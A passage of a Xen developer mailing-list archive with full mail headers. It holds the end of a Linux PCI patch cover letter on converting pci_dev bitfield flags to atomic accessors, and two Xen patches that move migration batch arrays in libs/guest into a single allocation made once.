X-Developer-Key: i=mhi@mailbox.org; a=ed25519;
 pk=AHlEkGG3hpXZHntlEzF42Ip/LFyXWOgsNUvaHqAnV80=
X-MBO-RS-ID: 7fb4275b43160de9afd
X-MBO-RS-META: o4fyj9cuc9w1urffc3xfrywcrt7anabk
X-Rspamd-Queue-Id: 4gyC8j6jmRzKvvr
X-purgate-ID: tlsNG-bad1c0/1783783286-5537CA0B-C34F660C/0/0
X-purgate-type: clean
X-purgate-size: 2315

`struct pci_dev` keeps ~60 flags in one C bitfield. Bits sharing a
word must not be modified concurrently, but several writers take no
common lock: `pci_set_master()` writes `is_busmaster` and can run
without the device lock (e.g. runtime PM resume paths),
`pci_disable_device()` clears it, and `broken_parity_status_store()`
writes the same word from sysfs at any time without any lock.

Convert these two bits to a new public `flags` bitmap accessed with
atomic bitops, mirroring how the driver core replaced its
`offline`/`offline_disabled` bitfield in commit a7cc262a1135 ("driver
core: Replace dev->offline + ->offline_disabled with accessors").
More bits can follow the same pattern later.

An alternative would be to reuse `priv_flags`, but its bit definitions
and accessors are deliberately private to drivers/pci, while
`is_busmaster` is accessed by xen-pciback, lpfc and sfc. Happy to
respin that way if preferred.

This is also a prerequisite for the Rust device enabling API rework
[1]: the guard object planned there calls `pci_disable_device()` from
contexts that may run concurrently with `pci_set_master()`, which
requires `is_busmaster` to not be part of a shared bitfield word.

Link: https://lore.kernel.org/rust-for-linux/DJOEYVBS17MJ.1YD3TNGQBWHNK@kernel.org/ [1]
Signed-off-by: Maurice Hieronymus <mhi@mailbox.org>
---
Maurice Hieronymus (2):
      PCI: Replace pci_dev->is_busmaster with accessors
      PCI: Replace pci_dev->broken_parity_status with accessors

 drivers/edac/edac_pci_sysfs.c               |  4 +--
 drivers/net/ethernet/sfc/falcon/farch.c     |  2 +-
 drivers/net/ethernet/sfc/siena/farch.c      |  2 +-
 drivers/pci/pci-driver.c                    |  2 +-
 drivers/pci/pci-sysfs.c                     |  4 +--
 drivers/pci/pci.c                           |  6 ++---
 drivers/scsi/lpfc/lpfc_init.c               |  4 +--
 drivers/xen/xen-pciback/conf_space_header.c |  4 +--
 drivers/xen/xen-pciback/pciback_ops.c       |  4 +--
 include/linux/pci.h                         | 42 +++++++++++++++++++++++++++--
 10 files changed, 56 insertions(+), 18 deletions(-)
---
base-commit: dc59e4fea9d83f03bad6bddf3fa2e52491777482
change-id: 20260711-pci-dev-flags-fbbcf4ff9031

Best regards,
-- 
Maurice Hieronymus <mhi@mailbox.org>



From xen-devel-bounces@lists.xenproject.org Sat Jul 11 21:21:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 21:21:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360643.1613398 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wif8m-0007uX-VF; Sat, 11 Jul 2026 21:21:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360643.1613398; Sat, 11 Jul 2026 21:21:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wif8m-0007uQ-SL; Sat, 11 Jul 2026 21:21:40 +0000
Received: by outflank-mailman (input) for mailman id 1360643;
 Sat, 11 Jul 2026 21:21:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wif8l-0007bl-4N
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 21:21:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wif8k-00AIiB-HP
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 23:21:38 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a52b3e2-e002-0a2a0a5209dd-0a2a4509cca6-0
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 23:21:38 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <freddy77@gmail.com>)
 id 6a52b3e2-b440-0a2a45090019-d155dd34a4d7-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 23:21:38 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-4758bd3731bso1326947f8f.0
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 14:21:38 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1d8cdsm74809460f8f.1.2026.07.11.14.21.36
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 11 Jul 2026 14:21:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783804898; x=1784409698; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=nLlv2l5waNuak4AeyH2dZJf/IpZoXiiZH4C/lX/O+/Y=;
        b=e8mt0cYJlp5mqJLBR1UcyjmHZxykk3FdZX6EKcYvwukASf1kHtAzwR6+88qwbILcyX
         YtydG7MB6TgV4gA2hgwgBjN1s3uGcWVQdWLgeBJR9SKgn+Dg6OtUeSrcwfZFZUbbTjaN
         LCyo7HCrcxu070sNbkHRdBNey4e+Fj4pYk8S337eCwuG3JCfL19MTImqtEa57IRYIP+t
         oVq4RlwWSc2byMPoDyuPzERCwqOh86yOjQtczYmjG6vC+SY7dIKXyKalAfXGdRfimijY
         5Q3XlULo42rWFP3qy7O9JRn4KWuIFwf24YluZeuGYu3TM7KLoyvRUVOfUqaNQ4uQkfvq
         hGqQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783804898; x=1784409698;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=nLlv2l5waNuak4AeyH2dZJf/IpZoXiiZH4C/lX/O+/Y=;
        b=Ds1IJWl1QeX11XzxldnxndzXCUzQamyAmYoasp6Ukx3kPonu1Fk4e+0bJAwK56GRPB
         QQJ5FDRdpBW8NzFCYtEEwvjGUEUeVPGVZ0Gr/7sUkYv+ulpoLs4rc6sZxWdplo/2lLca
         yqj8o83iPnq7UZZVgYAbR3C0pRgmYwn2kIMYM+R7l5CJyfl/eTLd4GCx0aHHIlpSZmmf
         rniwTNtKQeXuUEAKDRQpFEigijqYlfjNk/kXOsad6FA9PCs0jqOX10mvpt28FcCddna7
         ptK1V3X1gQiyV1f5cH0fmq4n5rJzjIfr1pNc2H0wAs4jd9YPI88ZwyKBBHhvDfXsEQ3q
         k6Ug==
X-Gm-Message-State: AOJu0YxYs+2uHJzIKOokwZpunnHVJl02lLvtDHvQ9fg/l8xCKCqIgYXu
	kWcP5JbOLgqD5q8jF3LPq+Bx7A2QTzkKeWueOhRgqNzLmyD0gCRT3DlqBmEemRhkMWE=
X-Gm-Gg: AfdE7cke8Wk9Dh9t8kfbGiQZlzefS+vB/1QVXUA5GazTitzAZwZsOJzq5E7vlk6zNVd
	xeumYrTKjFCqhFdmJc8b5A3qXKAgG11vqEJbCiNUGbWTusuH+JgT+gMYGGxoIZIr1kch9bkCUMe
	yhFThsTxyJJW0Kl2XFM0Go/DC7okMIxzJ2xaY/pX0P/mZfmcglkJQl+406Nz0y/Dj3l6Oq7xv6R
	+5mR6QGJ4blT15lcS/JiIGTVvGFegmxBpm+wLa1Q5JPcNc0xDH4SrjAWDJB6gPGe1V/8RtF///K
	yQ5k/uxPivSU0fKU4YZNI7G1cjeFkuF8CLvJHtWqukJPpVctHepkYtNzLX0lIz9xD0BsWEy9x/x
	awDtUOut0Gnm3wXgWifynxPil52U7q9qG766sPrwow0nGWW1kF1gZrpQVBH5/0JOpSVu6GnWzXN
	cXXptzfWbmt9mzxuFzp16TMxYXjU32dpsw55Retsm3na5ftwfJz7Z5TrX/je+4rKGQyGRULmOah
	qiKxX5P0hGvE90LgHUneH1IZKTneA==
X-Received: by 2002:adf:e19a:0:b0:47e:96f2:52ab with SMTP id ffacd0b85a97d-47f2dc85da3mr4414795f8f.7.1783804897779;
        Sat, 11 Jul 2026 14:21:37 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: [PATCH v8 2/4] libs/guest: move batch_pfns into a separate structure
Date: Sat, 11 Jul 2026 22:21:26 +0100
Message-ID: <20260711212128.505727-3-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260711212128.505727-1-frediano.ziglio@citrix.com>
References: <20260711212128.505727-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1783804898-5E56BA0B-A32ED01D/0/0
X-purgate-type: clean
X-purgate-size: 5971

Prepare for following change.

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
Changes since v6:
- split from "libs/guest: allocate various migration arrays just once".

Changes since v7:
- initialize "batch_pfns" on declaration.
---
 tools/libs/guest/xg_sr_common.h |  5 ++++-
 tools/libs/guest/xg_sr_save.c   | 29 +++++++++++++++--------------
 2 files changed, 19 insertions(+), 15 deletions(-)

diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index f1573aefcb..7574c9f5b6 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -239,11 +239,14 @@ struct xc_sr_context
 
             struct precopy_stats stats;
 
-            xen_pfn_t *batch_pfns;
             unsigned int nr_batch_pfns;
             unsigned long *deferred_pages;
             unsigned long nr_deferred_pages;
             xc_hypercall_buffer_t dirty_bitmap_hbuf;
+            struct xc_sr_context_save_buffers
+            {
+                xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
+            } *buffers;
         } save;
 
         struct /* Restore data. */
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index 84fdbe4140..e7c22e6500 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -75,7 +75,7 @@ static int write_checkpoint_record(struct xc_sr_context *ctx)
 
 /*
  * Writes a batch of memory as a PAGE_DATA record into the stream.  The batch
- * is constructed in ctx->save.batch_pfns.
+ * is constructed in ctx->save.buffers->batch_pfns.
  *
  * This function:
  * - gets the types for each pfn in the batch.
@@ -95,6 +95,7 @@ static int write_batch(struct xc_sr_context *ctx)
     void *page, *orig_page;
     uint64_t *rec_pfns = NULL;
     struct iovec *iov = NULL; int iovcnt = 0;
+    xen_pfn_t *const batch_pfns = ctx->save.buffers->batch_pfns;
     struct {
         struct xc_sr_rhdr rec;
         struct xc_sr_rec_page_data_header page_data;
@@ -110,6 +111,8 @@ static int write_batch(struct xc_sr_context *ctx)
     };
 
     assert(nr_pfns != 0);
+    assert(nr_pfns <= MAX_BATCH_SIZE);
+    assert(ctx->save.buffers);
 
     /* Mfns of the batch pfns. */
     mfns = malloc(nr_pfns * sizeof(*mfns));
@@ -141,13 +144,12 @@ static int write_batch(struct xc_sr_context *ctx)
 
     for ( i = 0; i < nr_pfns; ++i )
     {
-        types[i] = mfns[i] = ctx->save.ops.pfn_to_gfn(ctx,
-                                                      ctx->save.batch_pfns[i]);
+        types[i] = mfns[i] = ctx->save.ops.pfn_to_gfn(ctx, batch_pfns[i]);
 
         /* Likely a ballooned page. */
         if ( mfns[i] == INVALID_MFN )
         {
-            set_bit(ctx->save.batch_pfns[i], ctx->save.deferred_pages);
+            set_bit(batch_pfns[i], ctx->save.deferred_pages);
             ++ctx->save.nr_deferred_pages;
         }
     }
@@ -193,7 +195,7 @@ static int write_batch(struct xc_sr_context *ctx)
             if ( errors[p] )
             {
                 ERROR("Mapping of pfn %#"PRIpfn" (mfn %#"PRIpfn") failed %d",
-                      ctx->save.batch_pfns[i], mfns[p], errors[p]);
+                      batch_pfns[i], mfns[p], errors[p]);
                 goto err;
             }
 
@@ -207,7 +209,7 @@ static int write_batch(struct xc_sr_context *ctx)
             {
                 if ( rc == -1 && errno == EAGAIN )
                 {
-                    set_bit(ctx->save.batch_pfns[i], ctx->save.deferred_pages);
+                    set_bit(batch_pfns[i], ctx->save.deferred_pages);
                     ++ctx->save.nr_deferred_pages;
                     types[i] = XEN_DOMCTL_PFINFO_XTAB;
                     --nr_pages;
@@ -235,7 +237,7 @@ static int write_batch(struct xc_sr_context *ctx)
     hdrs.rec.length += nr_pages * PAGE_SIZE;
 
     for ( i = 0; i < nr_pfns; ++i )
-        rec_pfns[i] = ((uint64_t)(types[i]) << 32) | ctx->save.batch_pfns[i];
+        rec_pfns[i] = ((uint64_t)(types[i]) << 32) | batch_pfns[i];
 
     if ( writev_exact(ctx->fd, iov, iovcnt) )
     {
@@ -274,9 +276,9 @@ static int flush_batch(struct xc_sr_context *ctx)
 
     if ( !rc )
     {
-        VALGRIND_MAKE_MEM_UNDEFINED(ctx->save.batch_pfns,
+        VALGRIND_MAKE_MEM_UNDEFINED(ctx->save.buffers->batch_pfns,
                                     MAX_BATCH_SIZE *
-                                    sizeof(*ctx->save.batch_pfns));
+                                    sizeof(*ctx->save.buffers->batch_pfns));
     }
 
     return rc;
@@ -293,7 +295,7 @@ static int add_to_batch(struct xc_sr_context *ctx, xen_pfn_t pfn)
         rc = flush_batch(ctx);
 
     if ( rc == 0 )
-        ctx->save.batch_pfns[ctx->save.nr_batch_pfns++] = pfn;
+        ctx->save.buffers->batch_pfns[ctx->save.nr_batch_pfns++] = pfn;
 
     return rc;
 }
@@ -784,11 +786,10 @@ static int setup(struct xc_sr_context *ctx)
 
     dirty_bitmap = xc_hypercall_buffer_alloc_pages(
         xch, dirty_bitmap, NRPAGES(bitmap_size(ctx->save.p2m_size)));
-    ctx->save.batch_pfns = malloc(MAX_BATCH_SIZE *
-                                  sizeof(*ctx->save.batch_pfns));
     ctx->save.deferred_pages = bitmap_alloc(ctx->save.p2m_size);
+    ctx->save.buffers = calloc(1, sizeof(*ctx->save.buffers));
 
-    if ( !ctx->save.batch_pfns || !dirty_bitmap || !ctx->save.deferred_pages )
+    if ( !ctx->save.buffers || !dirty_bitmap || !ctx->save.deferred_pages )
     {
         ERROR("Unable to allocate memory for dirty bitmaps, batch pfns and"
               " deferred pages");
@@ -819,7 +820,7 @@ static void cleanup(struct xc_sr_context *ctx)
     xc_hypercall_buffer_free_pages(xch, dirty_bitmap,
                                    NRPAGES(bitmap_size(ctx->save.p2m_size)));
     free(ctx->save.deferred_pages);
-    free(ctx->save.batch_pfns);
+    free(ctx->save.buffers);
 }
 
 /*
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 11 21:21:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 21:21:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360644.1613407 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wif8o-00087t-9Z; Sat, 11 Jul 2026 21:21:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360644.1613407; Sat, 11 Jul 2026 21:21:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wif8o-00087j-6e; Sat, 11 Jul 2026 21:21:42 +0000
Received: by outflank-mailman (input) for mailman id 1360644;
 Sat, 11 Jul 2026 21:21:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wif8m-0007nS-7a
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 21:21:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wif8l-002mBf-L1
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 23:21:39 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a52b3c8-2eae-0a2a0a5409dd-0a2a4507a3a0-8
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 23:21:39 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <freddy77@gmail.com>)
 id 6a52b3e3-ac46-0a2a45070019-d155dd2de920-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 23:21:39 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-47defd0c1c5so1305582f8f.3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 14:21:39 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1d8cdsm74809460f8f.1.2026.07.11.14.21.37
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 11 Jul 2026 14:21:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783804899; x=1784409699; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=nPb7cp3xwXBCEs3XOqo7Tl5/hkWI0YjWiYbVfExIpM4=;
        b=eNPfwxmQnKBvR3NEDh1IBCOK2sLuk5NXeHegBAOL5iqpAWGMaMwwaq7W0Z0esPpELm
         Pa7RgkZ/ZnU5PZ5ochk+UbUDgdfg/PumZc1cSgQRu/IKOt0yv0Vr3oZ7aDrKg6LbmAIr
         pgU/Y4hMFftj0BAQgKfBayHk1CJXVPMY1s+hrBz/VucC2YOKJYwlbc7J3+SApy/PzSjR
         MPDtqm96eYag8WMwmjRsgWfphCfVcHh/gCYvcRwQ4SXkjygw6mU4nFzcH5F6sjqw2QDK
         NJncEvk6O7K0vwWiV9MdP/8TLfzsri+NVcUX3faNX2v3qG1v1VmjZqJOXeQU3g5p0orM
         AWMQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783804899; x=1784409699;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=nPb7cp3xwXBCEs3XOqo7Tl5/hkWI0YjWiYbVfExIpM4=;
        b=VB4C5e1MwDE7ZYCLM8Q5X8+WYUw8CHSlRNzfTCF6aXhjL4X3QO184P2OMmHsLwsb/t
         +iJOmpqzHw3xjS26Duz/D4sgV0AKkKkyRguMCg/p2PtarWj2NELngC6Tjt9jt30iWI5K
         uUAFPVdSMo8TBtzBj8DrCw0LptXtkC5aib/iacaZyssnDleO5bpK72a+/uGqfDm8t1t6
         di7OLVRkEqxqQf90eN2zHW9BaSRZR0fywn480AjU5p8v41uww++aJDqRLg5cnnakiE1x
         DLDwB00zJAP/Yx0ER0yhBZIPykmJ5O388A61TFavcq8GGMzm5MjhkVgCnkizuRyXLBii
         fJVg==
X-Gm-Message-State: AOJu0YxE5MqdqX62MpMHcc76dMcpLBGSMFdCNXVlPImzRCHoi0ibVQGn
	XkFBUwzNgizNbkex6+09n6ZWrjsXEqZHZ2BNeQ07J7Kj+PfL/SIMP4nKMK/xMNeWRyY=
X-Gm-Gg: AfdE7cmvvGiwrL9yDP9qppPEFbhvux64wqFXQKBXSPguGLc8mZOqZatOBXQhykUMSU/
	FXSdUXz4rtYXWmq0na/kltoS290u7UVXzVa4B5fZEnNslocOsD5ve84djR9NLTE1D2sdWEQDqED
	U/G6HVA/wunozt8Koy+BmkIO6pa0XOT/N0CogSJLI7ATf+lWOIw0oge/iG/DZiUaD7WajONkPFS
	Bvuvgs2FOeZ/GISqWf3IzUC0tSo/ISVWg3ukV90DhAyuxVnk8U+GDzuDnVIO8ECxUyKK/eNSRMb
	vNPLoYIPA063oGSjrQ34S8A7JwthzrVbzg2sahyh0EI2e+DY/uPycK9cJpGVd20z2Zh+Hl9PpKq
	cB5TXp/2Ge7IJxch3QTZAkmrWc5QDEVYpo0oZHWzSbrunLcRjA8zrGJk294rXAcJbNQcYfSC533
	2esOpwTqW1X3l5hxoOr/pGUVO+b1hnyZ8qyib7K/5xEHU9GeTFnwd1dAX7BiU8KvgDThHSC0qJr
	d8vHBglbAtUKnjPMCY=
X-Received: by 2002:a05:6000:290f:b0:46d:d693:88cb with SMTP id ffacd0b85a97d-47f2dce2db6mr3974180f8f.46.1783804898983;
        Sat, 11 Jul 2026 14:21:38 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Edwin=20T=C3=B6r=C3=B6k?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v8 3/4] libs/guest: allocate various migration arrays just once
Date: Sat, 11 Jul 2026 22:21:27 +0100
Message-ID: <20260711212128.505727-4-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260711212128.505727-1-frediano.ziglio@citrix.com>
References: <20260711212128.505727-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1783804899-D3F67201-D3630C6A/0/0
X-purgate-type: clean
X-purgate-size: 3795

From: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>

Allocate these array just once at the start of migration,
using the maximum batch size, and free them at the end.

Signed-off-by: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
Changes since v2:
- change prefix in subject.

Changes since v3:
- fix comment style

Changes since v4:
- change order of fields in structure.

Changes since v6:
- split preparation commit.
---
 tools/libs/guest/xg_sr_common.h |  6 ++++++
 tools/libs/guest/xg_sr_save.c   | 33 ++++++++++++---------------------
 2 files changed, 18 insertions(+), 21 deletions(-)

diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index 7574c9f5b6..c07c6db59e 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -246,6 +246,12 @@ struct xc_sr_context
             struct xc_sr_context_save_buffers
             {
                 xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
+                xen_pfn_t mfns[MAX_BATCH_SIZE];
+                xen_pfn_t types[MAX_BATCH_SIZE];
+                void *local_pages[MAX_BATCH_SIZE];
+                struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data. */
+                uint64_t rec_pfns[MAX_BATCH_SIZE];
+                int errors[MAX_BATCH_SIZE];
             } *buffers;
         } save;
 
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index e7c22e6500..34e41cf410 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -115,24 +115,18 @@ static int write_batch(struct xc_sr_context *ctx)
     assert(ctx->save.buffers);
 
     /* Mfns of the batch pfns. */
-    mfns = malloc(nr_pfns * sizeof(*mfns));
+    mfns = ctx->save.buffers->mfns;
     /* Types of the batch pfns. */
-    types = malloc(nr_pfns * sizeof(*types));
+    types = ctx->save.buffers->types;
     /* Errors from attempting to map the gfns. */
-    errors = malloc(nr_pfns * sizeof(*errors));
+    errors = ctx->save.buffers->errors;
     /* Pointers to locally allocated pages.  Need freeing. */
-    local_pages = calloc(nr_pfns, sizeof(*local_pages));
+    local_pages = ctx->save.buffers->local_pages;
+    memset(local_pages, 0, sizeof(*local_pages) * nr_pfns);
     /* iovec[] for writev(). */
-    iov = malloc((nr_pfns + 2) * sizeof(*iov));
+    iov = ctx->save.buffers->iov;
     /* page_data record PFNs list */
-    rec_pfns = malloc(nr_pfns * sizeof(*rec_pfns));
-
-    if ( !mfns || !types || !errors || !local_pages || !iov || !rec_pfns )
-    {
-        ERROR("Unable to allocate arrays for a batch of %u pages",
-              nr_pfns);
-        goto err;
-    }
+    rec_pfns = ctx->save.buffers->rec_pfns;
 
     iov[0].iov_base = &hdrs;
     iov[0].iov_len = sizeof(hdrs);
@@ -251,13 +245,10 @@ static int write_batch(struct xc_sr_context *ctx)
     if ( guest_mapping )
         xenforeignmemory_unmap(xch->fmem, guest_mapping, nr_pages_mapped);
     for ( i = 0; local_pages && i < nr_pfns; ++i )
+    {
         free(local_pages[i]);
-    free(rec_pfns);
-    free(iov);
-    free(local_pages);
-    free(errors);
-    free(types);
-    free(mfns);
+        local_pages[i] = NULL;
+    }
 
     return rc;
 }
@@ -791,8 +782,8 @@ static int setup(struct xc_sr_context *ctx)
 
     if ( !ctx->save.buffers || !dirty_bitmap || !ctx->save.deferred_pages )
     {
-        ERROR("Unable to allocate memory for dirty bitmaps, batch pfns and"
-              " deferred pages");
+        ERROR("Unable to allocate memory for dirty bitmaps, deferred pages"
+              " and various batch buffers");
         rc = -1;
         errno = ENOMEM;
         goto err;
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 11 21:21:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 21:21:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360645.1613411 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wif8o-0008Ao-Ix; Sat, 11 Jul 2026 21:21:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360645.1613411; Sat, 11 Jul 2026 21:21:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wif8o-00089s-EX; Sat, 11 Jul 2026 21:21:42 +0000
Received: by outflank-mailman (input) for mailman id 1360645;
 Sat, 11 Jul 2026 21:21:41 +0000
Received: from mx.expurgate.net ([194.145.224.10])
